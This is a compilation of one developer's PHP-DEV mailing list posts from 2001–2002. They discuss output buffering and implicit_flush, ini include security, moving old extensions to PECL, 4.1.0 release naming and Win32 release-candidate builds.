RE: [PHP-DEV] cvs: php4 /main output.c

[James Moore]

> Sebastian Bergmann wrote:
> >   How about you read Zeev's excellent explanation of this issue in
> >   Message-Id: <5.1.0.14.2.20021003111648.05550388@localhost>?
> 
> Zeev may forgot some or misunderstood my patches.
> I have to take a look at SAPI code. IIRC it has been
> changed a little to work around broken flush.
> (I remember someone is tweaking output layer wrongly :)
> 
> Without my patch, implicit flush is __USELESS__ that
> needs buffers.
> 
> Okay, what you want to do with implicit_flush?
> 
> I think it may be okay to enable implicit_flush for
> CLI? with buffering by default or not?

Yasuo,

Firstly output buffering != output layering. I don't not see fixing a
problem with the output layer (which implicit flush affects) in
output_buffering as the right thing to do. If there is a problem it
should be fixed in the output layer not output buffering otherwise
everytime output buffering is used we have to remember extra function
calls (IE centeralise and reduce).

Now as Zeev said the first bug seems to have been introduced by him
disabling output buffering in an implicit flush.

Lets have a look at the expected behaviour of implicit_flush (ignore
output buffering for now)

If implicit flush is OFF

And I call echo "blah", blah goes into a buffer and waits to be flushed
so that we cut down on I/O operations.

If Implicit flush is ON

And I call echo "Blah" blah goes into a buffer then flush() (what
actually happens is irrelevant this is the behaviour in general terms)
is called automatically so blah is sent to the client immeditaly.

This is useful if I am writing a command line app for example when I
don't want output to have to wait. Now I have not discussed why implicit
flush is always on in CLI as I would advocate defaulting this to on in
php-cli.ini but not statically code it, but that is irrelevant to this
issue at this second.

So lets look at what happens when output buffering is on. Lets say we
have multiple buffers:

 +---+   -+

 |   TOP LEVEL BUFFER||

 +---+| O

 || U

  When this buffer is flushed   | T // IF
ob_implicit_flush NOT implicit_flush 
  The output ends up in the   | P // is use then
this affects
 next layer   | U // when this
buffer is changed
 || T
\|/   |
 +---+| B
 |   NEXT OUTPUT BUFFER  || U
 +---+| F
| | F
  when this buffer is flushed | E
  the data is passed to   | R
  the output layer| S
| |
   \|/  --+
 +---+
 |OUTPUT LAYER   |   // It is in this
section where implicit flush has an affect
 +---+   // which means
after every output operation from PHP then
 // flush is called
making sure any remaining buffered (at server level)
 // output is sent
to the client.

Now there is currently a bug in start_implicit_flush which turns output
buffering off for some reason (from what zeev said) so that is the place
to fix it NOT if the output_buffering layer.

If everyone agress this is the behaviour that we want lets work towards
this behaviour rather than adding hacks.

- James


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] RE: #19637 [Opn->Bgs]: .php file truncated

[James Moore]

> (Do we have HOWTO for getting backtrace from Windows?)

No we don't because its quite complex although we could make it easier.
If we were to build PHP with symbols enabled and perhaps also provide
.pdg and .dbg files (we would have to make sure we always build in
c:\php4 or some such) then we could probably make it possible for people
without MSVC to create backtraces with just dr watson. Ill have a look
into this further and see if it is viable as soon as I get a chance..
Which may be a few days from now.

- James


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] [PATCH] include statement in php.ini file

[James Moore]

In general I agree with this proposal but I have some concerns, as I am
not familiar with the ini code these may be unfounded, introducing it
may well 

1) Introduce Security Concerns depending on the time the ini file is
loaded (IF I have safe_mode = on then you include an ini file with
safe_mode = off what happens)

2) If people use this with out understanding when the ini file is
loaded. Php.ini is loaded before script execution/compilation
   this ini file would probably be loaded at compile or runtime so
settings like sort_tags = on and register_globals = on would not make
sense.

Therefore, if appropriate (IE my concerns are well founded) I suggest we
add two new ini directives to the php.ini file (allow.runtime.ini.files
(Which defaults to off due to the fact that someone may upgrade to Php
4.3.x or whenever this appears and not update their php.ini file leaving
their system vurlnerable to safe_mode among others being turned off at
runtime). At the same time we add the directive
disallow.directive.overwrite which is given a list of ini directives
which cannot be overwritten by runtime loading). 

I realize there is ini_set and ini_get at the moment and these issues
may have already been dealt with, as I said I do not know quite what the
situation is with the ini code as I am unfamilar with it but I feel that
these things need to be thought about before the patch makes it into a
release (or at least rubished enough so that Im sure these concerns are
unfounded :).

Cheers,

- James

> > > I'm not very concerned either way on the .ini extension
> > restriction.
> > > Let's go ahead and commit this with the "include" to
> > "additional_ini" name
> > > change.  Perhaps the commit will stir up more feedback since there
> > has
> > > been so little.
> >
> > Some feedback:
> >
> > +1 for additional_ini=/path/to/new/additional.ini
> > -1 for including whole directories, since I think it has to great a 
> > WTF factor.
> 
> Without scanning a directory, you would have to automatically 
> edit and insert directives into files in order to add an 
> extension automatically. It is so much easier just to drop a 
> single ext.ini file in a dedicated ini dir and have it be 
> read.  Scanning a file and trying to figure out where to add 
> stuff and making sure it isn't already there is a real PITA.  
> Like the silly LoadModule stuff that apxs does.  You often 
> end up with multiple LoadModule lines for the same module.



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] W32api functions

[James Moore]

>At 06:16 PM 4/3/2002, [EMAIL PROTECTED] wrote:
>>And w32api is in PECL CVS btw.
>
>What exactly does this mean, considering it's also in php4/ext/w32api?

My thoughts exactly..

James

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] W32api functions

[James Moore]

Yes and yes...

At 01:24 AM 4/3/2002, Ilia A. wrote:
>Hello,
>
>Are the W32api functions in the CVS will make it into the upcoming 4.2
>release and if so will they be a part of the standard binaries distributed
>for windows?

Ive just rewritten these but havnt put them into CVS yet.. it uses OO and
allows passing byref although I havnt rewritten the runtimetypes yet.. if I
get this finished tonight tomorrow do you think its worth getting the
updated API into 4.2??

James


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] TML++

[James Moore]

> On Mon, 2002-01-28 at 06:16, Joey Smith wrote:
> > On Saturday, Jan. 26th, at 11:36am MST my son, Joseph Clark Smith,
> > Jr. was born. He is 19.5" in length and 7 lbs. 5 oz.
> >
> > More pictures later, but here's on to start with:
> > http://www.joeysmith.com/~joey/jj.jpg
>
> Congratulations!  May you find rest at night. :-)

Congrats Joey!.. Does this mean we will need a creche at the next PHP Conf??



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: Moving extensions to PECL

[James Moore]

> Jim Winstead wrote:
> > no objections, but one thing that should be considered is what
> > happens to the documentation for these extensions when they are no
> > longer a part of the core distribution.
>
> QA too.
>
> "I suppose removing some of these less frequently used extensions will
> also help make the QA team's job a little easier, too."
> sounds dangerous to me.

The QA Teams job needs to be made as easy as possible, at the moment those
people still working activly on QA a lot have a very hard time balancing
time between testing for new bugs, localising and fixing bugs as well as
making sure releases are up to scratch and new bugs arnt introduced.
Anything to make their job easier is a big plus.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: CVS Account Request: bradmssw

[James Moore]

> > I have written an extension to php for the MCVE engine.  It can be
> > loaded as a module or compiled into the code base, and would like to
> > have it distributed with PHP.  I would need commit access in order to
> > maintain the module.  The product, MCVE is a credit card processing
> > engine similar in purpose to RedHat's CCVS or CyberCash's ICVerify.
> > Though RedHat's CCVS has been discontinued. And MCVE is the only
> > replacement product for Linux/UNIX systems.
>
> would this sort of thing go into pear/PECL or php4/ext these days?
> (i guess brad wants php4/ext, but i'm looking for other opinions.)

CCVS has been dropped by RH (Perhaps it should be moved to PECL) and I
belive MCVE is the replacement. I would personally like to see this in
pear/PECL and then perhaps we can work on a generic cc processing extension
either in pear in PHP or in PECL written in C.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: Re[2]: [PHP-DEV] Re: Shootout

[James Moore]

> need for storage). absolutely *no* reasonable programmer will ever use
> PHP to calculate prime numbers or fractals (maybe with mathematical
> extensions, but not with raw PHP code).

Hey I have a little PHP-GTK app that does simple fractals... whats wrong
with that??? :P

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Apology

[James Moore]

>
> I don't think you should be apologizing. Nobdoy should.
>
> Anyways, I'm now really going 'away' for a while too and
> not stir this soup anymore. I hope that some people here
> stop and think a bit what is wrong here as it's quite
> obvious that something definately needs to be changed.
> And I don't mean any techical issues now.

I just thought Id add Im going to be away for a while too. I dont have time
to put enough time into PHP at the moment, keep my head above ground
financially and keep my personal life running smothly. The reason for this
is that something has to budge as being up untill 5am then working at 7am
just doesnt work and unfortunly I find myself enjoying working on PHP less
and less due to a lot of the in fighting and bitching. Ill probably be back
in a few months when I have a bit more time. Ill keep an eye on things in
the mean time and Im by no means gone for good but I am taking a good step
back for a while.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] [NEW EXTENSTION]: templates

[James Moore]

> On Wed, 05 Dec 2001, Björn Schotte wrote:
> > It should be self-evident that most things are "IMHO".
> > So I don't see the reason why you're trying to make a
> > problem out of that.
>
> One thing I try to avoid is making assumptions, because most of the
> world's problems come from that.
As my old man always said...
Assume makes an ass out of U and Me...

be clear in what you are saying and what you mean as people may take it the
wrong way if you are not.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: Re[2]: [PHP-DEV] [NEW EXTENSTION]: templates

[James Moore]

> On Wed, 05 Dec 2001, Björn Schotte wrote:
> > I suggest ext/template being extemely important.
>
> Sorry, but I am completely against it.

+1, the only exception I might make would be Smarty as it is well designed
and a lot of people use it but I dont think even smarty has a place in the
PHP Distribution.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] php-patches@lists.php.net?

[James Moore]

> On Tue, 04 Dec 2001, Thies C. Arntzen wrote:
> > On Tue, Dec 04, 2001 at 09:04:29PM +0900, Yasuo Ohgaki wrote:
> > > How about to have *new* list for sending patch for PHP?
> > > PostgreSQL has list for that. It seems the list is working great
> > > for them.
> >
> > php-dev is perfect for sending patches!
> > tc
>
> No, no. I suggest we split the list into extension specific lists. I
> claim [EMAIL PROTECTED] and [EMAIL PROTECTED] Then we can
> have *really* focused discussion. This php-dev deal just waters
> everything down.

Only if youll spend the time subscribing me to them all.. I really dont have
time to subscribe myself to 40 somthing lists :)

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] first bug report for 4.1.0 (was [PHP-DEV] Bug #14329:Mail() does not work)

[James Moore]

> > Just imagine having to explain the confusion with the 4.1.0 release to
> > everyone... oh my ;)
>
> The real 4.1.0 release will have zend version number 1.1.0a (while the
> old, bogus one has 1.1.0 as Zend version number).

Woth putting a note about this on the bug pages and php.net when we release
4.1.0??

- James



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] BC problem

[James Moore]

How about in future to avoid this happening when we roll the release tag as
4.1.0 or whatever call the tar.gz file php-4.1.0pre1.tar.gz then it becomes
slightly more obvious its not 4.1.0 also all we then have to do is rename
php-4.1.0pre1 to php-4.1.0.tar.gz to do the release no need to reroll where
a mistake could happen.

- James

> Nope :)
>
> At 09:19 30/11/2001, Jani Taskinen wrote:
>
> >As a minor cosmetic detail, could you set the version for
> >the 'next' release of 4.1 to be 4.1.1 ?
> >
> >Many people have downloaded the broken 'release' of 4.1.0 now
> >so we have to be able to know what version people are using
> >when they submit bug reports.
> >
> >--Jani
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0RC4

[James Moore]

> since news about 4.1.0 leaked out to the php-general list, wouldn't it
> make sense to call this one 4.1.1? (or 4.1.0pl1? :)
>

Why?? Yes 4.1.0 was leaked on php-general and php-homepage.de but both were
replied to making it very clear 4.1.0 hasnt been released yet. calling
4.1.0pl1 or 4.1.1 will be even more confusing as a lot of people will ask
what happened to 4.1.0

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] BC problem

[James Moore]

>
> Did you check the 4.1.0 Zeev packaged? It was supposed to be backed out. I
> don't have time to check now.

Still present in this package. Similar script as brian:

F:\PHP-41~1.0\RELEAS~2>php -q test.php
hi
Fatal error:  Cannot redeclare test() in
F:\PHP-41~1.0\RELEAS~2\include.php on line 10

F:\PHP-41~1.0\RELEAS~2>php -v
4.1.0

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Patch: Nested comments

[James Moore]

> But in C, you can #if 0 whole blocks out regardless. I'm in favour of a
> change like this (if not this specific one) in 4.2.

if(0) {



}

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: PHPDoc Future

[James Moore]

> James Moore wrote:
> >
> > > Q: What about DocBook?
> > > A: I don't have the neccessary knowledge for this, but I know some
guys
> > > that actually have it. Means, I've send some pizza's and beer crates
to
> > > send to them and make them feel guilty to help us ;). Help is very
much
> > > appreciated.
> >
> > What needs doing on this front??
>
> Uff, you're almost too fast. There're two explanations for this: you're
> looking for some beer or you don't have a job that occupies you...

Both :) Really Ive got a while free until I find another new job...

> No, beside kidding: it's hard to give a precise answer to this. To be
> honest I don't know which way would be best. Let's try some kind of
> reverse engeneering.
>
> PEAR needs a documentation tool, that's able to generate a basic
> framework (or a final document) to be used with the documentation system
> on php.net . This, and the whish to use the existing tools to generate
> PDF etc. based on DocBook, means that eigther the documentation tool
> needs to output DocBook directly or the XML output of the doc tool has
> to be transformed using XSLT.
>
> I expect this situation to become quite familiar. Some company is
> looking for a documentation tool. They start searching for it and they
> will find about a hundred scripts using ext/phpdoc. The developer
> resonsible to select a tool checks two or three of them and decides that
> none of them fits the needs of the company. He asks the project manager
> for three days to write the 101st customized tool. Of course this tool
> must be capable to generate DocBook. Well, he's a XML novice and doesn't
> know anything about DocBook which is quite complex. Means he has no
> chance to create DocBook on it's own. But he might have the knowledge to
> integrate a DocBook conversation plug-in.

OK..

> So what I suggest is having a DocBook conversation plug-in that consists
> of some basic XSLT function calls and - most important - XSL files. This
> way we get:
>
> 1.) C:   ext/phpdoc   => simple XML (doc comments unparsed)

OK havnt looked at ext/phpdoc yet but I understand what it does :)

> 2.) PHP: standard_doctool => generates standard_intermediate XML
>   => might generate template based HTML
>   => might generate template based PDF

OK thats fine..

> 3.) PHP: standard_docbook_conv => generates DocBook
>=> generates HTML
>=> generates PDF

Lets start with generating docbook stuff first and leave HTML and PDF for
later.. people can use norman's stylesheets for this for now.

> I the standard_docbook_conv tool is well documented it should be
> possible to alter the XSL files that can handle the XML output of the
> standard_doctool - even for a novice.

Shouldnt be too hard to do..

> What does this mean for you? We'll have to start a discussion on what
> the standard_doctool should look like. This determines it's XML output
> format. And this is the base for your standard_docbook_conv tool.
>
> If you want me, I can try to write some kind of whitepaper draft what a
> PHPDoc tool should look like. It would take me about 10 days to do so.
> This paper could be discussed on the dev-lists or we start discussing
> right the way.

OK I havnt even looked at the output that PHPDoc gives but as long as there
is enough info in it it shouldnt be too hard to convert. I would suggest a
set of XSLT stylesheets that do the job. A white paper might be a good idea
so we all know what we are heading for otherwise we will all end up swimming
in different directions :)

- James


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [PEAR-DEV] Re: [PHP-DEV] Re: [PEAR-DEV] PHPDoc Development Status

[James Moore]

> Q: What about DocBook?
> A: I don't have the neccessary knowledge for this, but I know some guys
> that actually have it. Means, I've send some pizza's and beer crates to
> send to them and make them feel guilty to help us ;). Help is very much
> appreciated.

What needs doing on this front??

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Patch: Nested comments

[James Moore]

> Although my vote doesn't count much here :-) I'm for it...
>
> ... but it would be a problem for 4.x I guess because this
> horribly breaks BC when/if there's a new 4.x release and
> people start using it.
>
> But it would be nice to have it in ZE2.
>
> my 2c - Markus

Its fairly standard not to allow these, but if we do could we make some
other changes to how comments are handeled too?

// ?>

would not switch out of PHP mode,

/*

?>
Html code
http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Server-Wide Persistent objects in PHP?

[James Moore]

> Yea, that's the problem. In my application, just loading the class files
> on each page adds quite a bit of overhead. (1000's of lines of code).

Only load what you need then :) Or rewrite in C.

> I've taken a look through the PHP/Zend source and it looks to me like it
> would be possible to create a module built around a modified version of
> php_execute_script() that:
>
>1. loads, compiles and executes a script.
>
>2. saves the state of the global tables Zend uses to
>   manage class definitions, objects, functions, variables, etc
>   (since there are so many globals used in Zend it doesn't look
>   like you can instantiate a second instance of the PHP interpreter
>   inside a single process, correct?)
>
>3. exports some function calls to PHP that would allow object instances
>   (and their corresponding class definitions) to be imported into
>   the local name space.
>
> Ideally I'd set the module up so that all these classes and instantiation
> happen in the php.ini file at server start time. Now wouldn't that be
> cool?
>
> The question I have is what other hooks are there inside PHP that would
> prevent this from working? Can I copy a pre-built symbol table (and class
> definition table, etc) that I saved from a previous run of the PHP
> interpreter (on a previous page) into a new one without having it crash?

This is a very very complex process as there are a lot of dependencies
through out the symbol table especially when dealing with classes. APC
attempts this but doesnt do it brilliantly when classes are inherited etc.
The Zend Cache is the only fully reliable type of system you are talking
about I suggest you look at that.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Out of date modules etc

[James Moore]

> On Fri, 23 Nov 2001 14:32:49 -0000, James Moore wrote:
>
> >CCVS has now been dropped by redhat (it will be replaced by MCVE),
> >the module doesnt really seem to be supported either. With sablotron
> >going the same way (for different reasons though) perhaps we should
> >create a unsupported or and old directory in the pear c extension
> >repository for these modules to reside and move them out of php4/ext.
>
> I don't think we should "pollute" PEAR with such old crap. Why not
> remove them completely?

Because some people may still be using them and distributing them with PHP
seems rather pointless as if we do new people will start using them, if they
are in pear when the installer gets going they will still be available but
wont need to be distributed at all. They are also shown to be outdated
and/or redundant. PEAR is the PHP *Extension* and Application Repository, it
seems to be the fitting place for them.

- James


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Out of date modules etc

[James Moore]

CCVS has now been dropped by redhat (it will be 
replaced by MCVE), the module doesnt really seem to be supported either. With 
sablotron going the same way (for different reasons though) perhaps we should 
create a unsupported or and old directory in the pear c extension repository for 
these modules to reside and move them out of php4/ext.
 
- James

Re: [PHP-DEV] Re: [PHP-QA] Re: File Uploads in the PHP 4.2.0

[James Moore]

- Original Message -
From: "Zak Greant" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Cc: "PHP Quality Assurance Team Mailing List" <[EMAIL PROTECTED]>; "PHP
Developers Mailing List" <[EMAIL PROTECTED]>
Sent: Thursday, November 22, 2001 9:23 AM
Subject: [PHP-DEV] Re: [PHP-QA] Re: File Uploads in the PHP 4.2.0


> On November 22, 2001 02:12 am, [EMAIL PROTECTED] wrote:
> > Hello,
> >
> > I think we should add something that asks for testers with some more
> > indepth knowlegde of C, per example:
>
> Good point. Anyone else? : )

WIndows users should have a debugger available to be able to provide a stack
trace or somthing similar the thought of getting 20 people telling us There
was an access violation in MVCSRT.dll at insturciotn 0xA9283CD9, the memory
at 0x1 could not be read doesnt help at all. if we dont get enough
people with these requirements we can just ask for people generally but
people with access to a debugger (pref MSVC) should be first in line to test
:))

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status

[James Moore]

I just reuploaded another copy try now.

- James
- Original Message -
From: "Alain Samoun" <[EMAIL PROTECTED]>
To: "Zeev Suraski" <[EMAIL PROTECTED]>
Cc: "James Moore" <[EMAIL PROTECTED]>; "Zak Greant" <[EMAIL PROTECTED]>; "Jani
Taskinen" <[EMAIL PROTECTED]>; "Andy Woolley" <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Wednesday, November 21, 2001 8:51 PM
Subject: Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status


> OK: We are talking about the zip from James site called:
> php-4.1.0RC3-win32.zip 3186 KB 11/21/01 11:05
> Sorry but there is no PHP4TS_DEBUG.DLL there and my system doesn't hide
dlls
> (all other dlls are there).
> A+
> Alain
>
> On Wed, Nov 21, 2001 at 10:31:44PM +0200, Zeev Suraski wrote:
> > It's definitely in the zip...  Any chance you have your explorer set not
to
> > show .dll's or something like that?
> >
> >
> > At 21:25 21/11/2001, Alain Samoun wrote:
> > >Checked it again: Nope, you must have it in your system from a previous
> > >build or you called it another name...
> > >A+
> > >Alain
> > >
> > >On Wed, Nov 21, 2001 at 06:46:20PM -, James Moore wrote:
> > >>
> > >> - Original Message -
> > >> From: "Alain Samoun" <[EMAIL PROTECTED]>
> > >> To: "James Moore" <[EMAIL PROTECTED]>
> > >> Cc: "Zak Greant" <[EMAIL PROTECTED]>; "Jani Taskinen" <[EMAIL PROTECTED]>;
"Andy
> > >> Woolley" <[EMAIL PROTECTED]>; "Zeev Suraski" <[EMAIL PROTECTED]>;
> > >> <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
> > >> Sent: Wednesday, November 21, 2001 6:39 PM
> > >> Subject: Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status
> > >>
> > >>
> > >> > James:
> > >> > It seems that the php4ts_debug.dll file is missing in your current
> > >build.
> > >> > A+
> > >> > Alain
> > >>
> > >> Its shown as there for me.
> > >>
> > >> - James
> >
> >
> > --
> > PHP Development Mailing List <http://www.php.net/>
> > To unsubscribe, e-mail: [EMAIL PROTECTED]
> > For additional commands, e-mail: [EMAIL PROTECTED]
> > To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
> --
> PHP Development Mailing List <http://www.php.net/>
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status

[James Moore]

- Original Message -
From: "Alain Samoun" <[EMAIL PROTECTED]>
To: "James Moore" <[EMAIL PROTECTED]>
Cc: "Zak Greant" <[EMAIL PROTECTED]>; "Jani Taskinen" <[EMAIL PROTECTED]>; "Andy
Woolley" <[EMAIL PROTECTED]>; "Zeev Suraski" <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Wednesday, November 21, 2001 6:39 PM
Subject: Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status


> James:
> It seems that the php4ts_debug.dll file is missing in your current build.
> A+
> Alain

Its shown as there for me.

- James


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [PHP-QA] Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status

[James Moore]

> If it's any use to you, I bought a licence for Wise Install Builder solely
> for the purpose of building the PHP windows installation stuff. I chose
the
> Wise software because it seemed significantly more capable than the
> InstallShield stuff. Anyway, since it was bought for the job, I'd be more
> than happy to transfer the licence to you. Needless to say, your existing
> installshield script won't work, but you could have the Wise script I
built.
>
> I avoided the MSI stuff when I started the installer because for most
users
> it meant a significant extra download from microsoft before they could use
> it, but maybe the world has changed since then and more users have the
> microsoft installation stuff already on their machines.

Well if your happy doing the installer for now thats fine, I was just
looking at installshield for a PEAR install system due to the fact it
installshield developer 7 looked more extensable to me :)

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] RE: [PHP-QA] PHP 4.1.0 Final RC QA Status

[James Moore]

>
> I'm all for testing windows builds, especially if anyone wants to chuck
> the Sablatron extension my way as well.
>
> Karl

ext/sablatron is no longer existant, you need to port to ext/xslt instead.
(Perhaps we should write a wrapper libaray to help people who are using
ext/sablatron for now.. anyone willing to do that??)


- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status

[James Moore]

> On November 21, 2001 06:55 am, Jani Taskinen wrote:
> > I think we should be testing the pre-compiled binaries which will
> > later on become the release for win32 platforms. As we have seen many
> > times before, there have been build-problems in the release which
> > were not caught by tests. Whoever builds it should build also RC
> > builds.
>
> I don't quite grok the last sentence... so I will interprete it as
> being what I want to hear. ; )
>
> I think that you just said this:
>
> Whoever is responsible for building the distributed Windows
> binary should also build each of the RCs and distribute them to
> the QA team for testing.

As I posted when RC3 came out:
http://www.phpuk.org/~james/php-4.1.0RC3-win32.zip I also have a nice
installshield script that creates a distributable msi installer but its not
quite finished yet (havnt done sapi installation or php.ini altering but I
will sort that probably not for 4.1.0 but defintatly for 4.2.0, would anyone
have a problem if I approached installshield software to get us a license
for their developer version. I was looking at it for possible integration
with the PEAR installer which Stig is working on I belive).. Ill build a few
more extensions tonight and add them to the zip already available I just
need to sort out hyperwave, domxml, xslt and a few of the more obsecure
extensions then I should be able to build them all.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [PHP-QA] PHP 4.1.0 Final RC QA Status

[James Moore]

Win32 Builds, Apache, IIS, CGI work, Apache2 doesnt but works in latest CVS
(segfaults on requests but thats a minor fix.) All modules Ive built and
tested work (that is the major ones).

- James
- Original Message -
From: "Zak Greant" <[EMAIL PROTECTED]>
To: "Zeev Suraski" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Wednesday, November 21, 2001 12:34 PM
Subject: [PHP-QA] PHP 4.1.0 Final RC QA Status


> PHP 4.1.0 Final RC QA Status
> 
>
> Over the last few days, 12 people have submitted 26 build reports for
> the latest RC. (Hopefully, I have not missed anyone. :)
>
> A full listing of the reports can be viewed at:
> http://fooassociates.com/phpqa/
>
> --- Overview ---
>
> There has been a good deal of testing on various flavours of Linux:
>
> SuSE: 8 builds
> Red Hat: 6 builds
> Debian: 3 builds
> Slackware: 1 build
>
> Each of these used Apache or CGI
>
> FreeBSD has also been built a few times using Apache and CGI
>
>
> Rounding out the other OSs:
>
> Mac OS X + Apache
> Sun OS 5.8 + CGI
> Win32 + Apache + ISAPI
>
>
> --- Plan? ---
>
> While we have had a good amount of testing for Un*x/Apache and Un*x/CGI
> builds of the RC, we have only had a few tests of other OSs and SAPIs.
>
> I do not know that we have time this RC to try and find people to build
> with other SAPIs and OSs. However, I feel that we should try to get a
> bit more testing on the various Win platforms.
>
> Any comments?
>
> --- Finally ---
>
> Thanks to everyone who has taken the time to build the RC and submit a
> report via the mailing lists and/or the PHP QA Wiki!
>
> --
> Zak Greant
>
> PHP Quality Assurance Team
> http://qa.php.net/
>
> "We must be the change we wish to see." - M. K. Ghandi
